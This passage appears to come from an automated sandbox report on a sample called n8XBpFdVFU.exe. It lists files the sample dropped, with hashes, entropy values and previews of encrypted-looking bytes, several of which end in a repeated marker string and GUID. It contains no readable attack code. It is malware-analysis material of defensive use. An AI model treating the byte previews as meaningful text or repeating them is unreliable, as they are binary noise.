B..........S...y.'%#)9V.&\|.o....Q>.Y......G.=.....cq./.L.j<k.t!n&..&..+...1...3....4@..?.u..R.#.4Un./#+..-..3..S'.c..t..P.N/.... ...1+J.$.q.V...x....`.72.j.........)!.V._.h..&.r....{.6....Q....g..wn.Q.\|K.8...nB.a."q....d].F.NI..Y.p..I"~./%......{.D.5....D.>.6OfApL.>..;.eU.N...d....O..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700101v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.899815685405839
Encrypted:	false
SSDEEP:	48:BNlo1hk/2unSkvHBT0deV+SbW2RfAAMDpw2WD:BbckhnjLV/SvASw2O
MD5:	230BE2AFF77445E1501B26D23B96D0C2
SHA1:	284753FA1E371018FA17D45D46B06C62DC9E7235
SHA-256:	5C6538231A9419ACCF7BA034617DD92F7615576A41F7EF734B88136B333787CD
SHA-512:	36514CDA806B86E0B44F0DC172275E9D4272059FB5F78FA2B8F9C32D5FE4860BDE8C19B1A23DC34569B8DE3A3494D7F9BA683CEFAEEEC6F55FAEF3128516B51B
Malicious:	false
Preview:	<?xml.gE...3.d..0@...X&.....o..2..0.....~L.a..;3:8.....Y.q..9.".?.6k.$."\|...w....h....r.J..#3..u.th........{...L;\|..v......U...]..3/..G../..p.A....*.p.XR..3..i.........5Xe....,....$.L.n.m..'..0......I:..c...?.!6..>......(..../..."G.X.=.r..q...g...$...4 F..Z.#.d4vx..}gF..o.......9..B..!~\k.....E..3.M.....>..&.3.Dx..K..W....i.M4S ....n......E..R......O..KKC=....A,..I....WK.$6........X.f..8]."...=<.~..u...+...:..h.g.'....&.p.^.U..m........WP5.l.@p.0...q...:...C.D....)........4...o.......!od.:.G0U%.$;7Im..Z)...5......../[....Y.u...Uo&......U..;....1....D.^?#N\|....?..3..k.u..4..Y}o..n.w,.syP..%..A..R...(..c..6.G.L..;.z]..j...Q1.........P.tY.w.../....;E..k......L.....v<..-f.Q..>W^...0].l..L'z.....`..Itj.vr.a. ..g..........Lz...^ ...3..^..!..]...&4...V...m..s...&../......YPB...O..X.$$.......X)j..\|....0.WW....li..6.a.@....\-E....o.66.A...VX...\|gc,.!...{....6..@.\|9r....^..ieB@.a.psI....R.n.%..Sy...Q.7.....4.1$..w.@....2^.....9]E.R..^......ON..:z..F

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700150v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.885072489938881
Encrypted:	false
SSDEEP:	24:Gqu5YfMyY5sY5tBcGNo73uFpR9zBaYaUhL0TaFePSefZrExhrVCeeXcHXoObD:A5YfKH+JuJna7UJ0TaIIx5peMH4sD
MD5:	0CB0155FE22C5890925632040B2360B0
SHA1:	1A7C67DADFE6E75896D4B64D55D186A28FC032FE
SHA-256:	AADFDF401D63D224126AE071141CF7DDCF038905B545ABAC313F8E82AAC6BC94
SHA-512:	8581DF4AD97CA5FA9453B0872116F8986412762E4A1A8806CECDB1FAD374B5F0CB7B291B8F73E1320E3DACC0877951E7EAF3F8AF60EB068A4E4D57719A7C730D
Malicious:	false
Preview:	<?xml.$.i~...Z..r+.i..E....5....#!....zT..U.b#..v..+...R.....wR..n>...$.rj..".;..~..5.9..`.7!x...K.....]N^.(5.......!.oZ...UK..}..s..$x.v...D....G.'..c.@..HM..h.q...q.Q.#.P..qM.&'-.b.2.O8...u.h.PT....hXO6ku.P1..3'..d.zn..Cn]........o.[]....S..._.....\|y...o. ..$...@)...:...g4...(r.<.G..s...x.'..."...b....m^..+.`....".(&'.A}f...l.k.r.X....l...W.4..t.^.v.9..C.run....4.:V.%%Xm......ds.6.Lp\...H...?@xv/.M.....p+gA.....)..3G`..x..nb.NnJ..T...@...J.;........}.`?k...T.Q....d.T:G.k...Y....!.....b....X.O..._.^9... ..1.X.M\|...[.{..0^..u..,@.n ..E....B.NQ.$i..v...\|\x.........4c{.u&...=.\|\|nT..M.....B..f...=.....^(.b.[..\..!.g....~......~.v.z......_.;....vN.`..........x....gugS.'...A......eE....1.. G+.Ww.5..&aI.7.O^y;..].b...d.bD...\|..t4...by.AtA.mYMk.-..>.=....So`....d&........I..z7MR....$..l.VJ./TP..W..*.,.U+.ZZ....s<..&z}....G.o..N.....'.3.R\|.nC.^.C......c.y..rj...MH=g.S.....:........."....zb.U..=z.I....y..1.k.C...5c.B.Q..yI.4....oC......>.[.Q.w.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700151v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.8877139172800055
Encrypted:	false
SSDEEP:	24:UGY6K8yzUZ3oAnYH19DpLRsAd6T3MctvTZHxRRbJ3tRzySrRiw23hy9aqF5iE725:UGYNAnnYHjDZUbHxRR9d8WRiu4qZzQD
MD5:	C12946D8E22D9717A892E24B6FEE574C
SHA1:	8ACC60D2977F21436011DAA2982A2E609F425D61
SHA-256:	94297EB914BE26DED3D66908C3AB25C6C58D5E60DFCD1991CBCC5C12662E5DB0
SHA-512:	B78BD1220BD24AE912DE17F07160856B528C22A6EDD05E199BC94C49CFC39BCB65677BDB860231B009507F973597E1CE5E63E772D714D0FB1C29E97815DD496C
Malicious:	false
Preview:	<?xml..Z\...p.~..+....$......H.5....j.........j{.....D.,tbz.<GT........=...T..J......y# ./...#K".t..w2.....ST....1.,<../D'...".....P.-...V.^..:%.yz..%\VL(.-P...&?-Q...."...T_.$Y.....yk...G....2......4..;[..U.o6n.MP.U68+....t.j%k...\..'Z...ph..W....6.5.f...n..$...)....~YS.PDN....s..!.u.........l........}..w\|^...o......qEM.......l.t..$6.`./...l......^...P...........f.>..P?..oY..-.(.{f.5.....b.`...s....Hr.c.0...=.Z...f.e......I..k.."...Y.c..oA29gN#...r1.b.u9w.k.QCp%...[....H..Ao..=.2...j9.C.....-...'\|.z.:..y.u6.A....P.....x.....B..-6.Ft.o....0...>..d..#..?.).?.f1{.2.JL...........\<<........;.5.>.M.............{...;.Sw.y}#.r\|.t^.j..+).N.Q..i. .S.'].$up.a).~o.0.~.t"..5..C.w...<....V.......^...0..P....2.....w..G... .m...\..j.)'.....ZpN[.83 R^..6.i....T..s..5.....5..W...Fk......_Q.3....d.g........^x..d.T.@..E2.....@....8....]>...H..9ye...J.b.p...bJ\|h.:..T..:V.5?....J.m..;.{98b..R<..1..h.MJ.......xuV....G.hS.n..C...&.V..U..<,....Ehm..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700200v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1689
Entropy (8bit):	7.890599743009079
Encrypted:	false
SSDEEP:	48:AJWSaWki2iZcPue01P4Idhi9pKOV5WVOgKvD:Mtpkigmt1w0+zW5q
MD5:	FCA5B4E53D380F925DAF167CECC6F575
SHA1:	11EAAE4F4359F8E51C9929798813CB398BD331ED
SHA-256:	180AFDC3B56E95ED56AF59DDC12AB229D0EC5742D93A72F70AEFA9B45B0CE206
SHA-512:	7BCCDA57377FEF4305369BF4039FC2DDA64E6EE2A901ED1CD674847AC59AD55E1C23A8CEC9B053AB371835A691930F507788B19A7607D2CD4DB0478673343CE3
Malicious:	false
Preview:	<?xml..O$+[^#..4.......9FNu..^.]~8.....3....lO..'....!l.#...H....<I...O..Fz./..u\..t..`L2....<.H.qi9..&;.0.$.6...v......&t..j.'....\|..VS....S.&?..>.G\.T...$..c...W.7..b-.D@3.WF........&../.<.F....E8.u?......-1..6....O.Q8..........b..J v.#z...?.;...}./..Yg..q..z`.u.(.>_.5.q;VT....A.....)_.,.^.\|.?..?..q.\..X...{.....i@.....Q...C......a9.H>.Z..O.T.KzD.....?P../...K.#>N..'..&D.O...xx........ v.G_.I.TM.wk.}m....... A.6..uZ].Q?.W...4..N.~....}...h.9..k...u...4.....~vw..._.t'F,U..{...=.9.!..ZU}.).j...C.r..m:0.t.\|j(..:...a....G..hH".v..>.eN.L........8.....&..AMJ..2.M..=&...I.....@.]K.......1[..._c...[L..4n.`6.B.0....?..z."~..Jd..B.).{...w...5.l3"..i.9.x..%...\|.....{.' Hn.....=}........s....Y...v.S.]....7..dI...........nh.>%....2.4.Rp..Yk...K..6.#.H(~.Md..l..h....A}...y(.St.......7G.q .J....)D....M..g>.....^.}:..CZp....4n.M.U...?+..@.S...:u..W.HcF..4.Z./.3-cp..;.%.o.4....]...Uu......... ...W..&A.b...../[u.i^./H....<&2....N..R...KriO7

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700201v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	7.880268335722712
Encrypted:	false
SSDEEP:	48:MWCUYm2S6h/Cm+qBGq1R8Z77W5aA18il8C33bnSbAoHD:MrUUIm+qBGq4RmGiyCMFj
MD5:	88C212A25BB584AD95CDB663F1B3A033
SHA1:	CE495DD681EB369E123ACC67500169B090762380
SHA-256:	3174CB1BD068DBF5EC46550CB02CFC99C789B33A3C8569ECBD875B7AA65663D1
SHA-512:	26F6447F05A100252C4564339A10BD455B63EFF9EA607EA3B5B1D8F46A881A833C2D003D69C026FC182D9492D5060C392202A89F1A0FB68483568A08DC378453
Malicious:	false
Preview:	<?xml..l.b.....DX.:.%.;&.B..g9..'.uko%.d}..... Q.\|...hH73...;.S<.......A.`..yn..Y...../..u.da..s..q.-<x.1..J\|...I.gFfj......V....'...5J.....`.FaJ...j#f.p..an.FO.q3...5P....'...h.[..7E..Q.>.....q-{...e..e%..;.O..J.. .=...:e...[.R.y..'-.....!...:.X..K'9;....7....\|.}t.........a..v.<.-gW..+[Pj..<..gg.%.#4xz.70...1d...f..e.{.....%^...Tp .Hp#.....?......V..x..8.@.q...'...<.+..D..G>....'s/..h.n.B7..'K.J..K.[.{U.I.t..........u=..5....b..........6.r.`...K~.'.e.R.B....{...._RU...`.p.q...Je.H.l(.5.6.@.o1<..S...-..B.l.._..]!.A...........q.u........Y.u.7..(....-..E9]F...[.:..#...sT.D.......`......M..-.a......\.m.&Z..l..UN...c..@..K.j.P.....H...9.[...C..E.y..0\+t^.h....J.DWR...2.a..Ai..fH.W.r..........JK..5v/}..@...P.q..n.d...t...E..k..p..D.6+..b...l.".B..5..."....)..-....KA...I..\|...V/<tj.........cj..t....E.s...~..fw..4.Fgb}S`. .n,....`.......*8......w8....p...tKg3..B..E..Dql;,.P.....\.8v.!..I.I.N"..y..E...R....6Y....?...`.-....4..:f.g.......V.j`.XY..G ....c.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700250v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1691
Entropy (8bit):	7.875695736013976
Encrypted:	false
SSDEEP:	24:zIq5XzlnIFbdmP5JiWNvO2ytcehMp+EOCD154CS5u7+WbRGqZgCCGVBqSlHdoG/i:z95RDJiWVNqEvvIw7bwqZgaTPlHL7CND
MD5:	878B299BC55D76C7C3182398AD53F777
SHA1:	1FF8EA8A5EBD3EC5B6033F47FD66752153B07317
SHA-256:	3B04C18873E1462D0DA7FD0AA10B3922E9AC1464D41F55A2FFCF6A6C855AEED0
SHA-512:	281954C4FBE32943DC7B3F67A7346287C9990BE4E786DEDECD08F8E195BB9143DE1D474782DFC6D9365479514E0BB91AB8874153E84E7C27AB446BA7D7C8278C
Malicious:	false
Preview:	<?xmlD8#....Pa.C.`..i#@d...0.%g..f..T......Y.c\V\|.^.9.B. L$B.,...t-P...........q.,..].(.t......q.......^..<Q..g.#.....n........H...o.......u.H.D...D......../......K.8"..#.a.S.......,.{.....8......+.rK..G....3.....g.aQy.chgDa.u(,j9.&.m1.7..=...j...lt)Q.....1...<S=....!.u.I...zw.?.g.......[....3.....n3'."....%.Nt..2...[>.;L.TVO\....~.....F.../.?..../.'...HI..c........w..w..L...b.....x..4R...J.F.y%...?a......Oa%).U..}.......epq...}a.U9....}..f.C.L..Fo....G........y}I....+2b...?.....+.5...ro.....IG{.5[.QTa..)6...Y.s..Ld.1".W.-0.f$..wRn......K.h....p5me._..N...(.2.#.AF....Pb......UW_:..V<F...;IAu.."..m....x.7..-.Bq....w..mh....G.)<#.O.~l.Z....m~a..`#...Z:..P;> .6....1.'.#.c..w....}.@xC..M...i\_x.........-..8Aa.}M.....k`.;0..S.k.<!s.:i...^....;OP.tB?..._....l...J......L...P.U..Z6..K...L.!...%<.....L9<..+Y.K&.c....gEH....v.Q..\|.w[v...H"..w2i?!..1...Z.Ez.LN.}.*.;k(E>..z(H...%w....\?....y3...i.......O..x..e.z....;W.E0..V~....U...k.:3.)......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700251v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.878025422496435
Encrypted:	false
SSDEEP:	48:eMZ+nwgAoPgIrhMvfVqTuLTpC/Y1nA1xoYweHD:eMYw2PgIrhM1hC/2nOl
MD5:	D0364D7C88454F928772A2DC39300B9E
SHA1:	71090313F580C5CE82ECD5E0CEDA5D6AB6A838C9
SHA-256:	FE803810FF9646E21C44EF6165B7B0E8CBBF0024387009BDACC58D674EBB7547
SHA-512:	6AB432BC1F0AAA7AAB538B5703AB90F06A33C45EC1B7A6352972249824D340741E8D6E974B5A1333D7C5E5C96145E9E25A04A8787C0C808F855F9A5D811F0BE9
Malicious:	false
Preview:	<?xml.\.,%..!%.or..B..;.13..wG......i.A...H......t.g.....P.......w~uJ..>"e.N.O....ys..m.@..%a...pF...`#......'....;.!..bp..j$.V,:..v..P,.....vWtX..+..U.S@..[[L...Tmx/...j_.2`!Xg9.^E...W.."....5..0v.D.d.9../.R;6...R....[...E+.M].J..@.U...U..~'.<v..v.V...z.#.H..E..'...D..-T.....>a..A......e..f.K.[..<&..0W.........g../.z.1..3.:.i..82.]b.v.......9.....p.,.c.abw5J.5_.^7w...g!.....t...t_..F4P..A......@.V1..UY6...0.]!.....{....h....0..\.W)..X..+...........?.e.j.5!.\..mx@.-.;?hgH.T..._\@$..l.".....}..O.m..j..\.:h04_`h..+.8.....<:d...M.U...Uc......[.\|....KO.qi@.......n.H..........@.Y.{L7...V....p...Fz(.eF.[.A.n........w........'K0...R..U...\W.......C.......SE.. .\|....P.}..28-.'-9.,#.GQ..$E..On...\lm.4..F....S...L......$....b\|.....uS..oS.&..^.@"..K.(..@Z.......\|...?m..s.V......D .[.2T.l.i9b..e2.r.a.........e...H..!t6]..'.W....W.../C........^1.QQgy3.g.8..Xo^./........#.../...qz5....Q..4Y.w...l...."V.../.i$.q.9......3..z'......`:.h<....w.7

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70025v2.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	3225
Entropy (8bit):	7.940800776677935
Encrypted:	false
SSDEEP:	48:wp7JvLmh1zItDPz6R0EvV0iZADXNULAhyfi53fgPALSPAMLFd3EjBuu+D:KeUpz6R9vV0MqXj13fwALSP9FCjC
MD5:	F950EC4E6DB20FFAFC2B5A8197F31A2E
SHA1:	629DA3609543C42395662C726BD2533DF8FE9C44
SHA-256:	47F536279A36A13D9C2B4BA76D1969404B78D074DD806ADF72DF50B4B4A31CFA
SHA-512:	214F964595445E980715DA0DCECD66030FDC817E2BD31928A6CA8B5D29F7F838806A1A137831D5052B1637E595534F25A5B8D2B36C2981C6DB96AAC0E3DAFAC7
Malicious:	false
Preview:	<?xml5....1..U..m.I..x.F.Vpr.....HE..u..d\t....t..M.j.z3!.....7..E.........FD..{...r.a^.q.!)`..<.X..k%...s\+..wj^."q..}..z.P6..R.K. ...,w..-..{..o:..8..I.m.J.7...R.......&.Z.A.....$........h..=...9:l....3d...FxV.c..t..\|yxu...w~....%..U.?.....;.......~..~.C...u,.V...V..e.w...H..?......+].X....... p.V..;.G..1...%....9..a.......e...(.F^0..r..!.b.....Hp:.Fn;HK...W(.."Ee.......Ui..3!YHc.$.....I..4..9.B.U.DOe.+9...V...o..J:.L.....P. "..M.[.J9.m.%.a.6.........@A)....'...a.;3.H692.......-0..Y.8.K......"z.W{.......X.[..h..p..J..]....9./3.7O.dn.-..._V..'.5.]j.3.?...ttT..J.c..O.M.C....5..a~.;.f_;....$.0}U...u...x+w..R"G...7]/...z..6..F..Z...'...[lV....Q(.+C.7.<>....!F7.G....sMw..O....}..Ln:S..oQ..y.k..%..u.".....(...<..X...s..p....xd._."b.G..U.2.T\|M.....tB...&q....0..z.!.j].o.0.3._VZ.o.....e.6a..#...\g...d..S...`G.G..q..S{z..fn.%.,}#z..s....n.eE6S.(>....e...u.F..G#...m._...x......g..Y$....7X..b2pT.T........P.....V...ES..I.k$.....u)E...D.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70027v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	7.7602274513802945
Encrypted:	false
SSDEEP:	24:cei2QVZCbRIAcJyQpfmWcsdLrYZkXyJK15ubD:cxvV8RcJ7gqrj5MD
MD5:	D926B887D1519049753189E8E2F66963
SHA1:	B888E180865B3F6AE6BEA8B190FC93B0C1A1B7FA
SHA-256:	860FB20889977D2DEB46A7097820FD234F9E90A05AC89D44E9F88A979F12A306
SHA-512:	48EFDFC1263F5276E407F88C78F38D396C8F154A7731B0EB5B42AB58B0FD7B2B7AA2EC5D749EAE51FECA5FA1B6D75B2B831DAE9ECBE4270976BFFB7B7E586FE7
Malicious:	false
Preview:	<?xml..\|n....8....&`y&/W...1.....-....N..T.c....Rc. s)...\..;.. ;...s...)#D2.h..D..l"Cw.......7\|.F3......LE....I^.. .x.E.P...C\....o.........Gw..'..+P.I:...qc..f`ZdCf=....4$.O..(w.n..s..:..Tr.@..{:;j..k.D......E.r....V.....xuQ.>M;j....z..mw._ .......aw.BTt.Q........\|...DTM.,3....M............t..3-].e..N...Hc....:..K.....,..b.t..y:s~.tJ....I}.Gh...%......l'...A.{.h...o..c.d..&A.nb..X,1+.(.!.....=...@.W..Z.........^....iq>...K...MP....O.......\v=.Up.ygk.m..[.ux.?.+.K.3._3........5.;....8......8..o..Y.......ksV..IO....f.g\..ppD...r.?.6h@?Z.o3..v81.`G.P[...f.UFX.#dn.e&.dY....++p..Y....g.^...#..'.......MY.$..~R...V.:...K......&...}".B....-K......V...-d.Q..Hf.:....d6..f.r.?3....?....:0.A+..j..m....2.C..kH..GVp....#H..`..C.O O.`-..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70028v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	7.818695087610442
Encrypted:	false
SSDEEP:	24:jlx29DPkBwkzAd7gMT97gnZ6OoLJIMcPkgOFLmi7k5IOuJjbD:5spPi48MTGZULJ8bi7k5pq3D
MD5:	CDCBD85369E988064158857027B87A7A
SHA1:	34D98F45BBDF973CA161CD08EEB387377B7AF961
SHA-256:	171BFDEF4FE11E1047DA9284883D5D6594FCD309EADD8ECC479BDA90EA9EDCAA
SHA-512:	488DA49AB143A0811FD644EC604C624BAA0CE8DAF24A2C149C8439004474F251BC53F114011CEF945429D429408C91BFB5219080229DD78DB329675912A679F5
Malicious:	false
Preview:	<?xml....@....?mX.)E.5....V.2B9..NP..c..u.x<a<P....f....=.J......6<u...]..wh...:y.y.....l.g.s.4q[.9.3........K...Iy..@.X..w<),i.E...s.N`.....TK. g2Y.......\W.!%........{.......z.+.e4.O.>w....'..N...w...:.N!..{X+0..\|..Kr.co~...BI.a'...r..X.m..r.$`.......g......;.7.KF3E.v.4......K.\| >.C......1lr.w.y...W...w.t..x..gU.$.~.P..[..p"t.I...........1..a.....n...`...8.........U......KX....6....D.+.z.w...^4...5r.}\|%.P.<...j..D?...........vr......T...T.z$`..B.T..Z..<B,........)5.z{...[.@...b.}Fr4Bx.~...S..I.3T0!...3.E.y.w....u..I.a..:#...;......~....1........}.=#@.......% .}H..}.B...v..,..Z.w..+.7..y.n.1...H?b+W....u....,.Q...O..[.3.r......\..w@..W..3.G.-...6);\.g...rM..X.....bD3....e..)x.rC.@j....O6....O......E..!X.......z.......F....'.l...Xp.........l.!>).!.SW.<....O.^..&.6N...{.Oo..:.".97w...a.[.hK....ehmO~[.s..e.W~+...B..A...K;.BIns..H.Q..R..>L.`..._+...c....oK.S...j.Bn..@...G.H..ZY......&#.A' Vc~IJ....1P..u..>.[{.....[.-@o....../....{.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70029v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1004
Entropy (8bit):	7.792626766122575
Encrypted:	false
SSDEEP:	12:+gLX5L7D6ZWzRnKiEjH6EpZtDJ94Go5tGeOQTAFrPD9LyHECQR+Pld9EvqhKKf14:+W5LRKSkHxoWeOQshr9LyHnEgObD
MD5:	6AE0CCE74B8F3288A02856B32AFA24D9
SHA1:	31C758199E3F00FFA92B9613315D128FAA334AE5
SHA-256:	707B9D46B194B2DCB604EEB9DB662291E073CD17D1531AD4B9931CD240E5E3EE
SHA-512:	4962E31393985F0F6916D3D9FBA893F0699C0D8E9D85979B6A9C7CE76231379E316F7AD4F05F925BFE6A6D84038FA21DEA5C1E7A8923FD42310AAC0224E4344C
Malicious:	false
Preview:	<?xmls[-T..(..&.`....HR. ......X.9.H[........B.V..t"Y...m...;\..?..Ef......2......[......5..M..uv..c....l.j..V..".b....x-.R.[r...........K8..$.q.....L..G..8I......f.{3n../.mt....+i.#. .;.A.\|....<.V..\|vaeW.7.rZ..D.....).u,..1.ZC...uHV..).2j@..j....4...T.&wX...g.......t......V.Fzk>9..1....#{.5..l.....N.2...A.4J@\|.wX..{...P..N.5..k..8'#.1XE.W....$..v.10.].d.5B)=.H.Q.3.#..k.H[.0.q.j..@>.D_.....vF..I..70..u...i./..Xe.VW..Ys'=8:T.k...<8.]N...s....J.n..K.n......".g.....O...!....\|O`..:h.m]L.....T....CUy..h}...[.OY.........&...x......}I.Y.KW..`.7.9.y.........U...:.c..?:E.N...h.Y....N.d...W{.y6........AK:...w.5..:.. ..m._....scq...v.!.H.`...?.`R..../o.....\..x\7uZ.....{}.....T^g.2 J.3fG....i.......}.$....{.......hcO]...!/......0.. N.!.h...Q.....iz....wO......{...uTgf...[.H</mo>..]..P.Y.m..S...X.....>.C@W8...".)Y....@g.i.)......+....vD.x....D......@'..<.yN.,.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700300v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.85459003758263
Encrypted:	false
SSDEEP:	48:2QPao1cgMkYUruLlahjf3y/N+pYfN65uepboOPCD:ugMkY/ZubC/VfNETFoj
MD5:	AEE914577525C2C5F16851DAE9AF2445
SHA1:	0255BD7E4621C38F263A978FB0CE9A0EDFD95208
SHA-256:	6E5C92A1857C4568C4E203D7E16FE15B3476F08CD8AFF6C56B0A9DFEA2BBF3E1
SHA-512:	554E39497B91A3828CD166E45A041CC756D14DC68EA672879F4C092B2835DF6B35FB170C301AD66B9BA63AFCBE384D470492DD1D2BE743989CAEDA4C438889FD
Malicious:	false
Preview:	<?xmly..m.@..bD'..B....B#.6Vu.....c.bO.[.K..z.......E....r.k..xy........-.......S..........&.O.W.-2...G...B...ClN:.4...dJTb....i4.uP.)u.F.g6g..q(.W+.B......Y.E.M.H..3?8..l....I7H.,...gq....~`..=03..../ ...(....2d...;\.{..........N..V..m. T.p@....7.._.....wN.u=B.A.Y(d=...#...C/u.NT..C.\"....S...!O..!G.V."..i..F.O..+.PKK{...L..^!6$...I.I.n~C..\....b......q...sq0.n..w....:?.Q_fN..4.VC.::.-M....z.).../>.K....f.6...h...S.....6&].....P..M..9....g.VV.a8..3u...qL/.....9...:...E.7.W.vN.........\|..R4C......s$.^...~>...(.MJ.....Za..4.......Y...^@Z.....#S...qm...b.}.R.Br..R..........[..o....Ng..o=..B.u........u.. ...\|.1.}.H..$.K.>.9.."...d....QA.qvU.g..t.=e..KPx......?.t.tL..Sv/Y.LY...Y.r...bE....#.dt....g...g.?r\|DwV..DcX]...UJY.5...~....Cp`PL.5@X..$.\D.&-....i2..>a.......L/&*.7N..5..k.g.H....$..v}%...1.......b8...mH.D.^{.!..}.....".r.]...d......=.$.{.....1.!L-.~..PY....,c.\|...B9L].E2..K+..Q.8........qnq.+.~b....a..W..5y..i......zN%..a)...u[>..U

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700301v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.882039398578609
Encrypted:	false
SSDEEP:	48:mOm3MsJOeU8MwwQLDSr9674sj504STKU0PKue7h8YT1SD:mOm3MScfdsL8s90nTKiN56
MD5:	FAD9A1040D2B0FFADCBA3F190CD6B42D
SHA1:	753F6F3AC6884A6FA0B44F9ED7C1F804C44F5819
SHA-256:	81DDA707B5B307405339F7723C6C2D1413CD41E07D8A5984E3EBB6A4E908EF04
SHA-512:	BA00795B67F141D0667F50EB35C450D712D629E159DC8B904683D61E5FEBFFEC1B71C39D9780A9930EEC2E171300CEBC76421A3CFE08EDBA1176EB23F0F311D5
Malicious:	false
Preview:	<?xml.....R..:.."...X........=..k..<.....^.U4.../.0.../.{.F..1.x.I.../....>OQ..%G.U..W..W...\|z.%m.....cV.....g."1......Te.knr.F..."...K..N.~=..o.....}..u.S...:....>.o.....#.!~hnSm.-.RG..%...\|./`...fxq<.;_..H..8....y....s.H.eBw8.'..9......'..r....V;....z!.........u.s.....]..'lZ.`..a.........A...htZ#4....x<I.<...I.w...1.".6..........Pi..9b!....'~E-].'..v.a.X.....)..d.2.Zu..A.{..M...*.q..k.,...C.(K.c.N@i.m.{.4u.T@......}u...{:...+)..n..&z..yj$;..."...[.F..j.)...7.[R..2(...#....26...4.....<....Ee.D....>9.}.7....[...0hKGx.Rk..FKv.s...r..9].(B.~f:^d/O.Yr.+.[.-.Mc..@....+...&.-.,..}..Q.q....f.c5).+..%.=..bl.l.%.iEwXl....i..s.K.P..9..=...r.....D.\|..n.....o...^[..I.].'ye.D2>S..3..l..`..M....a.U....$L....cP.}8~V..6...>...$.X.~.TW.........G...q(...K....3.x...bA.....-k....)<H;....'([SP%.....V.BQ..O..,.~..,......uz[%\|g..j..l.c..U.CSh..W..r.M.R.>Tu.[......A~..Z..L^.....M.1.]...T.._.....t.:O.2.T...$.z.REVty==~.aiD..L2..zV.TL....)....#nHeP...].X.x&`/..s-g5.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70030v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	771
Entropy (8bit):	7.729527554162259
Encrypted:	false
SSDEEP:	24:HnEO9Zf5w+YRfG6jWCEL89vDt5Lg3wcANAbD:HbZf5w+gu3CE+vDHg3+NaD
MD5:	2CF16304C5E1CEC1F630B403B7524CFD
SHA1:	E27AEF70F3199AB65438CE1FC334A5113A31D922
SHA-256:	AE95B6E36E70050785EAECADB001B6DB92A33B16513CA6084F2097B424C1CFDE
SHA-512:	DA18A7D8EC7DCB2D3956F93196D143214ECE47063AA873E42394EB05ABDF5A7BCA78099D52CF96047B52C966201961E46A7AE27F4F79A36D6B545E68FC9E131A
Malicious:	false
Preview:	<?xml..f..k.sm...Lz.T.=...#....t7.,...`5...O.i.mHT\|.]....V....Y/D..%..W.@$.....I.U.. hx..2l...9........O`.X...Z..y...<[Wt.O..g\3..}.l.}5r5T..L..yL...QC..x#$.%'..C-!...Ad..._..v.P.=J/.....w.L............GEu.............M. \)..,g.....~..m?.#P..........C1.D.%......V.)yJ....s%b.T...........+.d.&..N2.....1..0."...\|.>....poMf.).....:.a.....2.j..i..K...1%..b..{..C\|Q2...S...p..\|q...d.& ....&.A......E?.Bi=......5.5=!..V.#q..;....Y..f..F.X3]Kf.......Qb"".=YEVu.9%..g...I..v.k...yE.E.0...gx..4..g...J........V..HE$........ j6..%.D..<.~.R.X....W.Y.u.{.........:.vj%.+s..H.O.`....>.x..t...D...;G.Y@.e.[.#.4..6*W..P...USKb.L.........z8.;r=...0.jk!n...1Z.8L..R.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70031v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	774
Entropy (8bit):	7.726424028263556
